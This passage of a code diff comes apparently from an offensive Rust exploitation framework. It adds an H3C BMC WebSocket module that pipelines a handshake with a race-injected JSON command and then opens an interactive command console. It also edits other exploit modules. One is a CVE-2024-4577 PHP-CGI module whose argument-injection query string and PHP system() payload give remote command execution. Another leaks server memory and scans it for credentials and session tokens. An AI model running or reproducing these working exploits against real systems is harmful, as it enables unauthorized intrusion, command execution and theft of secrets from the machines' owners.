let port = cfg_prompt_int_range("port", "WebSocket port", DEFAULT_PORT as i64, 1, 65535).await? as u16;
|
||||
let interactive = cfg_prompt_yes_no("interactive", "Drop into interactive JSON-command REPL after dump?", false).await?;
|
||||
let race_payload = cfg_prompt_default(
|
||||
"race_payload",
|
||||
"Pipelined JSON command (empty = skip race injection)",
|
||||
r#"{"method":"GET","uri":"/redfish/v1/Managers/1"}"#,
|
||||
).await?;
|
||||
let read_secs = cfg_prompt_int_range("read_secs", "Initial read window (seconds)", READ_TIMEOUT_SECS as i64, 1, 60).await? as u64;
|
||||
|
||||
let addr = format!("{}:{}", host, port);
|
||||
crate::mprintln!("{}", format!("[*] Connecting {} ...", addr).cyan());
|
||||
let mut stream = TcpStream::connect(&addr).await
|
||||
.with_context(|| format!("connect {}", addr))?;
|
||||
|
||||
let key = generate_ws_key();
|
||||
let handshake = build_handshake(&host, port, &key);
|
||||
|
||||
let pipeline_race = !race_payload.trim().is_empty();
|
||||
if pipeline_race {
|
||||
let frame = build_masked_text_frame(race_payload.trim().as_bytes());
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Sending pipelined upgrade ({} bytes) + masked frame ({} bytes) in one syscall",
|
||||
handshake.len(), frame.len()
|
||||
).yellow());
|
||||
let mut combined = Vec::with_capacity(handshake.len() + frame.len());
|
||||
combined.extend_from_slice(&handshake);
|
||||
combined.extend_from_slice(&frame);
|
||||
stream.write_all(&combined).await.context("pipelined write failed")?;
|
||||
} else {
|
||||
stream.write_all(&handshake).await.context("handshake write failed")?;
|
||||
}
|
||||
|
||||
// Read upgrade reply.
|
||||
let mut buf = vec![0u8; 8192];
|
||||
let n = tokio::time::timeout(
|
||||
Duration::from_secs(HANDSHAKE_TIMEOUT_SECS),
|
||||
stream.read(&mut buf),
|
||||
).await.context("upgrade read timed out")??;
|
||||
let resp = String::from_utf8_lossy(&buf[..n]).to_string();
|
||||
if !resp.contains("101 Switching Protocols") {
|
||||
crate::mprintln!("{}", "[-] Server did not accept WebSocket upgrade.".red());
|
||||
crate::mprintln!("{}", resp.dimmed());
|
||||
return Ok(());
|
||||
}
|
||||
crate::mprintln!("{}", "[+] WebSocket upgrade accepted.".green().bold());
|
||||
|
||||
// Drain one or more frames within the read window.
|
||||
let mut total = 0usize;
|
||||
let deadline = std::time::Instant::now() + Duration::from_secs(read_secs);
|
||||
while std::time::Instant::now() < deadline {
|
||||
let remaining = deadline.saturating_duration_since(std::time::Instant::now());
|
||||
let mut fbuf = vec![0u8; 16384];
|
||||
match tokio::time::timeout(remaining, stream.read(&mut fbuf)).await {
|
||||
Ok(Ok(0)) => break,
|
||||
Ok(Ok(n)) => {
|
||||
total += n;
|
||||
let raw = &fbuf[..n];
|
||||
// Best-effort extraction of any JSON snippets the server
|
||||
// pushed. We don't fully parse the WebSocket frame here —
|
||||
// most BMC builds push one big text frame, so a UTF-8
|
||||
// decode of the raw bytes recovers the JSON payload after
|
||||
// a 2-10 byte frame header.
|
||||
let text = String::from_utf8_lossy(raw);
|
||||
if let Some(start) = text.find('{') {
|
||||
let trimmed = &text[start..];
|
||||
crate::mprintln!("{}", "── frame ──".bold());
|
||||
crate::mprintln!("{}", trimmed.trim_end_matches(['\0', ' ', '\r', '\n']));
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] {} bytes (non-text frame)", n).dimmed());
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
crate::mprintln!("{}", format!("[!] read error: {}", e).red());
|
||||
break;
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
if total == 0 {
|
||||
crate::mprintln!("{}", "[!] No data received after upgrade.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[+] Drained {} bytes from server", total).green());
|
||||
}
|
||||
|
||||
if interactive {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Interactive mode: type JSON commands. Empty line to exit.".cyan().bold());
|
||||
run_repl(&mut stream).await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn run_repl(stream: &mut TcpStream) -> Result<()> {
|
||||
use tokio::io::AsyncBufReadExt;
|
||||
let mut stdin = tokio::io::BufReader::new(tokio::io::stdin());
|
||||
let mut line = String::new();
|
||||
loop {
|
||||
crate::mprint!("{}", "ws> ".yellow());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
line.clear();
|
||||
let n = match stdin.read_line(&mut line).await {
|
||||
Ok(n) => n,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[!] stdin error: {}", e).red());
|
||||
break;
|
||||
}
|
||||
};
|
||||
if n == 0 { break; }
|
||||
let cmd = line.trim();
|
||||
if cmd.is_empty() { break; }
|
||||
|
||||
let frame = build_masked_text_frame(cmd.as_bytes());
|
||||
if let Err(e) = stream.write_all(&frame).await {
|
||||
crate::mprintln!("{}", format!("[!] write error: {}", e).red());
|
||||
break;
|
||||
}
|
||||
|
||||
// Best-effort drain for ~READ_TIMEOUT_SECS.
|
||||
let mut buf = vec![0u8; 16384];
|
||||
match tokio::time::timeout(Duration::from_secs(READ_TIMEOUT_SECS), stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
let text = String::from_utf8_lossy(&buf[..n]);
|
||||
if let Some(start) = text.find('{') {
|
||||
crate::mprintln!("{}", text[start..].trim_end_matches(['\0', ' ', '\r', '\n']));
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("(non-text frame, {} bytes)", n).dimmed());
|
||||
}
|
||||
}
|
||||
Ok(Ok(_)) => break,
|
||||
Ok(Err(e)) => {
|
||||
crate::mprintln!("{}", format!("[!] read error: {}", e).red());
|
||||
break;
|
||||
}
|
||||
Err(_) => crate::mprintln!("{}", "(no reply within window)".dimmed()),
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn generate_ws_key() -> String {
|
||||
let mut nonce = [0u8; 16];
|
||||
rand::rng().fill_bytes(&mut nonce);
|
||||
base64::engine::general_purpose::STANDARD.encode(nonce)
|
||||
}
|
||||
|
||||
fn build_handshake(host: &str, port: u16, key: &str) -> Vec<u8> {
|
||||
format!(
|
||||
"GET / HTTP/1.1\r\n\
|
||||
Host: {host}:{port}\r\n\
|
||||
Upgrade: websocket\r\n\
|
||||
Connection: Upgrade\r\n\
|
||||
Sec-WebSocket-Key: {key}\r\n\
|
||||
Sec-WebSocket-Version: 13\r\n\
|
||||
Origin: http://{host}\r\n\
|
||||
\r\n",
|
||||
host = host, port = port, key = key
|
||||
).into_bytes()
|
||||
}
|
||||
|
||||
/// Build a single masked text WebSocket frame per RFC 6455. Every
|
||||
/// client-to-server frame must be masked, so we generate a fresh 4-byte
|
||||
/// XOR mask each call.
|
||||
fn build_masked_text_frame(payload: &[u8]) -> Vec<u8> {
|
||||
let mut frame = Vec::with_capacity(payload.len() + 14);
|
||||
// FIN=1, opcode=0x1 (text)
|
||||
frame.push(0x81);
|
||||
|
||||
let len = payload.len();
|
||||
if len < 126 {
|
||||
frame.push(0x80 | len as u8);
|
||||
} else if len < 65536 {
|
||||
frame.push(0x80 | 126);
|
||||
frame.extend_from_slice(&(len as u16).to_be_bytes());
|
||||
} else {
|
||||
frame.push(0x80 | 127);
|
||||
frame.extend_from_slice(&(len as u64).to_be_bytes());
|
||||
}
|
||||
|
||||
let mut mask = [0u8; 4];
|
||||
rand::rng().fill_bytes(&mut mask);
|
||||
frame.extend_from_slice(&mask);
|
||||
for (i, b) in payload.iter().enumerate() {
|
||||
frame.push(b ^ mask[i % 4]);
|
||||
}
|
||||
frame
|
||||
}
|
||||
|
||||
fn sanitize_host(target: &str) -> String {
|
||||
let mut t = target.trim().to_string();
|
||||
for prefix in &["https://", "http://", "ws://", "wss://"] {
|
||||
if let Some(stripped) = t.strip_prefix(prefix) {
|
||||
t = stripped.to_string();
|
||||
break;
|
||||
}
|
||||
}
|
||||
if let Some(slash) = t.find('/') { t.truncate(slash); }
|
||||
if let Some(colon) = t.find(':') { t.truncate(colon); }
|
||||
t
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod h3c_websocket_dump;
|
||||
@@ -39,7 +39,6 @@ use h2::Reason;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
use tokio_rustls::TlsConnector;
|
||||
use rustls::pki_types::ServerName;
|
||||
@@ -153,9 +152,8 @@ async fn establish_h2_connection(
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
|
||||
let stream = crate::utils::network::tcp_connect_addr(socket_addr, Duration::from_secs(10))
|
||||
.await
|
||||
.context("Connection timeout")?
|
||||
.context("Failed to connect")?;
|
||||
|
||||
if use_ssl {
|
||||
|
||||
@@ -69,7 +69,7 @@ impl ExploitState {
|
||||
.await
|
||||
.context("Failed to connect to target for listener")?;
|
||||
|
||||
let output = response.text().await?;
|
||||
let output = response.text().await.context("read body")?;
|
||||
self.print_formatted_output(&output);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
pub mod apache_camel;
|
||||
pub mod apache_tomcat;
|
||||
pub mod exim;
|
||||
pub mod h3c_bmc;
|
||||
pub mod http2;
|
||||
pub mod jenkins;
|
||||
pub mod mongo;
|
||||
|
||||
@@ -273,8 +273,22 @@ async fn run_exploit(target_addr: &str, config: &ExploitConfig) -> Result<()> {
|
||||
"auth", "credential", "apikey", "api_key", "session",
|
||||
];
|
||||
let mut found_secrets: HashSet<String> = HashSet::new();
|
||||
// Cap on aggregate leaked bytes — at 50 K probes against an attacker-
|
||||
// controlled responder this could otherwise grow without bound.
|
||||
const MAX_TOTAL_LEAKED: usize = 100 * 1024 * 1024;
|
||||
|
||||
for doc_len in config.min_offset..config.max_offset {
|
||||
if all_leaked.len() >= MAX_TOTAL_LEAKED {
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[!] Reached {} MiB leaked-data cap; stopping early",
|
||||
MAX_TOTAL_LEAKED / (1024 * 1024)
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
break;
|
||||
}
|
||||
// Progress indicator (every 5%)
|
||||
let progress = ((doc_len - config.min_offset) * 100 / total_offsets) as usize;
|
||||
if progress >= last_progress + 5 {
|
||||
|
||||
@@ -49,9 +49,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let client = crate::utils::network::build_http_client_with(
|
||||
Duration::from_secs(10),
|
||||
crate::utils::network::HttpClientOpts {
|
||||
accept_invalid_certs: true,
|
||||
follow_redirects: false,
|
||||
..Default::default()
|
||||
..crate::utils::network::HttpClientOpts::permissive()
|
||||
},
|
||||
).context("Failed to build HTTP client")?;
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
//! - https://nvd.nist.gov/vuln/detail/CVE-2024-4577
|
||||
//! - https://www.cve.org/CVERecord?id=CVE-2024-4577
|
||||
|
||||
use anyhow::Result;
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
@@ -58,11 +58,13 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Prompt for check or exploit
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Select operation mode:".cyan());
|
||||
crate::mprintln!(" 1. Check vulnerability (safe)");
|
||||
crate::mprintln!(" 2. Execute command (RCE)");
|
||||
crate::mprintln!();
|
||||
if !crate::utils::is_batch_mode() {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Select operation mode:".cyan());
|
||||
crate::mprintln!(" 1. Check vulnerability (safe)");
|
||||
crate::mprintln!(" 2. Execute command (RCE)");
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
let choice = cfg_prompt_default("mode", "Select option [1-2]", "1").await?;
|
||||
|
||||
@@ -95,7 +97,7 @@ async fn check_vuln(client: &Client, url: &str) -> Result<()> {
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let text = resp.text().await?;
|
||||
let text = resp.text().await.context("read body")?;
|
||||
if text.contains("VULNERABLE_CVE_2024_4577") {
|
||||
crate::mprintln!("{}", "[+] Target seems VULNERABLE!".green().bold());
|
||||
Ok(())
|
||||
@@ -108,15 +110,15 @@ async fn check_vuln(client: &Client, url: &str) -> Result<()> {
|
||||
async fn exploit(client: &Client, url: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "[*] Entering RCE mode...".yellow());
|
||||
|
||||
// In API mode, execute the provided command once; in CLI mode, enter interactive loop
|
||||
// In API/batch mode, execute the provided command once; in CLI mode, enter interactive loop
|
||||
let config = crate::config::get_module_config();
|
||||
if config.api_mode {
|
||||
if config.api_mode || crate::utils::is_batch_mode() {
|
||||
let cmd = cfg_prompt_required("command", "Command to execute").await?;
|
||||
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
|
||||
let payload = format!("<?php system('{}'); die; ?>", cmd);
|
||||
match client.post(&exploit_url).body(payload).send().await {
|
||||
Ok(resp) => {
|
||||
let text = resp.text().await?;
|
||||
let text = resp.text().await.context("read body")?;
|
||||
crate::mprintln!("{}", text);
|
||||
}
|
||||
Err(e) => crate::mprintln!("[-] Request failed: {}", e),
|
||||
@@ -132,7 +134,7 @@ async fn exploit(client: &Client, url: &str) -> Result<()> {
|
||||
|
||||
match client.post(&exploit_url).body(payload).send().await {
|
||||
Ok(resp) => {
|
||||
let text = resp.text().await?;
|
||||
let text = resp.text().await.context("read body")?;
|
||||
crate::mprintln!("{}", text);
|
||||
}
|
||||
Err(e) => crate::mprintln!("[-] Request failed: {}", e),
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user